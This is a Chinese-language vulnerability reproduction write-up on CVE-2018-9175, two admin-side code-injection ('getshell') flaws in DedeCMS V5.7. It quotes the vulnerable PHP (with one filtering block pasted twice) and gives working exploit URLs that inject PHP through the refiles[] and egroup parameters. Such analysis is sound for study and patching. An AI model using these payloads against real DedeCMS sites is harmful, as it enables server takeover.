menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right 033-DedeCMS chevron_right 007-CVE-2018-9175 Dedecms V5.7后台的两处getshell.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    007-CVE-2018-9175 Dedecms V5.7后台的两处getshell.md
    8.59 KB / 2021-07-17 00:01:28
        # CVE-2018-9175 Dedecms V5.7后台的两处getshell
    
    ## 一、漏洞简介
    
    后台写配置文件过滤不足导致写shell。
    
    ## 二、漏洞影响
    
    ## 三、复现过程
    
    漏洞代码分析
    
    第一个
    
    在`/dede/sys_verifies.php`中的第152行处
    
    
    ```php
    else if ($action == 'getfiles')
    {
        if(!isset($refiles))
        {
            ShowMsg("你没进行任何操作!","sys_verifies.php");
            exit();
        }
        $cacheFiles = DEDEDATA.'/modifytmp.inc';
        $fp = fopen($cacheFiles, 'w');
        fwrite($fp, '<'.'?php'."\r\n");
        fwrite($fp, '$tmpdir = "'.$tmpdir.'";'."\r\n");
        $dirs = array();
        $i = -1;
        $adminDir = preg_replace("#(.*)[\/\\\\]#", "", dirname(__FILE__));
        foreach($refiles as $filename)
        {
            $filename = substr($filename,3,strlen($filename)-3);
            if(preg_match("#^dede/#i", $filename)) 
            {
                $curdir = GetDirName( preg_replace("#^dede/#i", $adminDir.'/', $filename) );
            } else {
                $curdir = GetDirName($filename);
            }
            if( !isset($dirs[$curdir]) ) 
            {
                $dirs[$curdir] = TestIsFileDir($curdir);
            }
            $i++;
            fwrite($fp, '$files['.$i.'] = "'.$filename.'";'."\r\n");
        }
        fwrite($fp, '$fileConut = '.$i.';'."\r\n");
        fwrite($fp, '?'.'>');
        fclose($fp);
    可以看到,这里会将$refiles数组中的内容写入配置文件modifytmp.inc中。
    
    dedecms对于输入是全局过滤的,在/common.inc.php中注册并过滤了外部提交的变量
    
    function _RunMagicQuotes(&$svar)
    {
        if(!get_magic_quotes_gpc())
        {
            if( is_array($svar) )
            {
                foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);
            }
            else
            {
                if( strlen($svar)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE|_SESSION)#',$svar) )
                {
                  exit('Request var not allow!');
                }
                $svar = addslashes($svar);
            }
        }
        return $svar;
    }
    
    if (!defined('DEDEREQUEST'))
    {
        //检查和注册外部提交的变量   (2011.8.10 修改登录时相关过滤)
        function CheckRequest(&$val) {
            if (is_array($val)) {
                foreach ($val as $_k=>$_v) {
                    if($_k == 'nvarname') continue;
                    CheckRequest($_k);
                    CheckRequest($val[$_k]);
                }
            } else
            {
                if( strlen($val)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE|_SESSION)#',$val)  )
                {
                    exit('Request var not allow!');
                }
            }
        }
    
        //var_dump($_REQUEST);exit;
        CheckRequest($_REQUEST);
        CheckRequest($_COOKIE);
    
        foreach(Array('_GET','_POST','_COOKIE') as $_request)
        {
            foreach($$_request as $_k => $_v)
            {
                if($_k == 'nvarname') ${$_k} = $_v;
                else ${$_k} = _RunMagicQuotes($_v);
            }
        }
    }
    
    function _RunMagicQuotes(&$svar)
    {
        if(!get_magic_quotes_gpc())
        {
            if( is_array($svar) )
            {
                foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);
            }
            else
            {
                if( strlen($svar)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE|_SESSION)#',$svar) )
                {
                  exit('Request var not allow!');
                }
                $svar = addslashes($svar);
            }
        }
        return $svar;
    }
     
    if (!defined('DEDEREQUEST'))
    {
        //检查和注册外部提交的变量   (2011.8.10 修改登录时相关过滤)
        function CheckRequest(&$val) {
            if (is_array($val)) {
                foreach ($val as $_k=>$_v) {
                    if($_k == 'nvarname') continue;
                    CheckRequest($_k);
                    CheckRequest($val[$_k]);
                }
            } else
            {
                if( strlen($val)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE|_SESSION)#',$val)  )
                {
                    exit('Request var not allow!');
                }
            }
        }
     
        //var_dump($_REQUEST);exit;
        CheckRequest($_REQUEST);
        CheckRequest($_COOKIE);
     
        foreach(Array('_GET','_POST','_COOKIE') as $_request)
        {
            foreach($$_request as $_k => $_v)
            {
                if($_k == 'nvarname') ${$_k} = $_v;
                else ${$_k} = _RunMagicQuotes($_v);
            }
        }
    }
    ```
    
    可以看到,这里会将`$refiles`数组中的内容写入配置文件`modifytmp.inc`中。
    
    dedecms对于输入是全局过滤的,在`/common.inc.php`中注册并过滤了外部提交的变量
    
    
    ```php
    function _RunMagicQuotes(&$svar)
    {
        if(!get_magic_quotes_gpc())
        {
            if( is_array($svar) )
            {
                foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);
            }
            else
            {
                if( strlen($svar)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE|_SESSION)#',$svar) )
                {
                  exit('Request var not allow!');
                }
                $svar = addslashes($svar);
            }
        }
        return $svar;
    }
     
    if (!defined('DEDEREQUEST'))
    {
        //检查和注册外部提交的变量   (2011.8.10 修改登录时相关过滤)
        function CheckRequest(&$val) {
            if (is_array($val)) {
                foreach ($val as $_k=>$_v) {
                    if($_k == 'nvarname') continue;
                    CheckRequest($_k);
                    CheckRequest($val[$_k]);
                }
            } else
            {
                if( strlen($val)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE|_SESSION)#',$val)  )
                {
                    exit('Request var not allow!');
                }
            }
        }
     
        //var_dump($_REQUEST);exit;
        CheckRequest($_REQUEST);
        CheckRequest($_COOKIE);
     
        foreach(Array('_GET','_POST','_COOKIE') as $_request)
        {
            foreach($$_request as $_k => $_v)
            {
                if($_k == 'nvarname') ${$_k} = $_v;
                else ${$_k} = _RunMagicQuotes($_v);
            }
        }
    }
    ```
    
    上面的`$refiles`就是注册的外部变量,可见已经addlashes了而我们还是需要绕过`fwrite($fp, '$files['.$i.'] = "'.$filename.'";'."\r\n");` 实现注入shell,首先需要注入就必须闭合双引号,在这里有个诡异的操作
    
    
    ```
    $filename = substr($filename,3,strlen($filename)-3);
    ```
    
    去掉了输入的前三个字符,这样就为我们写shell制造了机会,当我们输入`"` 时经过addlashes会变成`\"`,再去掉前三个字符就只剩下双引号实现闭合。
    
    此时写入shell后只要再找一个包含modifytmp.inc文件的文件就好了,全局搜索一下可以发现就在本文件`/dede/sys_verifies.php`
    
    **第二个**
    
    同样是写配置文件,位于`/dede/sys_cache_up.php`
    
    
    ```php
    else if($step == 2)
    {
        include_once(DEDEINC."/enums.func.php");
        WriteEnumsCache();
        //WriteAreaCache(); 已过期
        ShowMsg("成功更新枚举缓存,准备更新调用缓存...", "sys_cache_up.php?dopost=ok&step=3&uparc=$uparc");
        exit();
    }
    ```
    
    跟进`WriteEnumsCache()`
    
    
    ```php
    function WriteEnumsCache($egroup='')
    {
        global $dsql;
        $egroups = array();
        if($egroup=='') {
            $dsql->SetQuery("SELECT egroup FROM `#@__sys_enum` GROUP BY egroup ");
        }
        else {
            $dsql->SetQuery("SELECT egroup FROM `#@__sys_enum` WHERE egroup='$egroup' GROUP BY egroup ");
        }
        $dsql->Execute('enum');
        while($nrow = $dsql->GetArray('enum')) {
            $egroups[] = $nrow['egroup'];
        }
        foreach($egroups as $egroup)
        {
            $cachefile = DEDEDATA.'/enums/'.$egroup.'.php';
            $fp = fopen($cachefile,'w');
            fwrite($fp,'<'."?php\r\nglobal \$em_{$egroup}s;\r\n\$em_{$egroup}s = array();\r\n");
            $dsql->SetQuery("SELECT ename,evalue,issign FROM `#@__sys_enum` WHERE egroup='$egroup' ORDER BY disorder ASC, evalue ASC ");
            $dsql->Execute('enum');
            $issign = -1;
            $tenum = false; //三级联动标识
            while($nrow = $dsql->GetArray('enum'))
            {
                fwrite($fp,"\$em_{$egroup}s['{$nrow['evalue']}'] = '{$nrow['ename']}';\r\n");
                if($issign==-1) $issign = $nrow['issign'];
                if($nrow['issign']==2) $tenum = true;
            }
            if ($tenum) $dsql->ExecuteNoneQuery("UPDATE `#@__stepselect` SET `issign`=2 WHERE egroup='$egroup'; ");
            fwrite($fp,'?'.'>');
            fclose($fp);
            if(empty($issign)) WriteEnumsJs($egroup);
        }
        return '成功更新所有枚举缓存!';
    }
    ```
    
    可以看到,直接从数据库中读取并写入php文件中,从数据库中取出后并没有经过过滤。
    
    将shell写进数据库中
    
    
    ```
    http://url/dede/stepselect_main.php?action=addenum_save&ename=123&egroup=;phpinfo();//&islogin=1
    ```
    
    ![](images/15889902074565.png)
    
    
    ## 复现
    
    因为包含是在同一个文件,所以直接输入
    
    
    ```
    http://url/dede/sys_verifies.php?action=getfiles&refiles[]=123&refiles[]=\%22;phpinfo();die();//
    ```
    
    ![](images/15889902285078.png)
    
    
    links
    file_download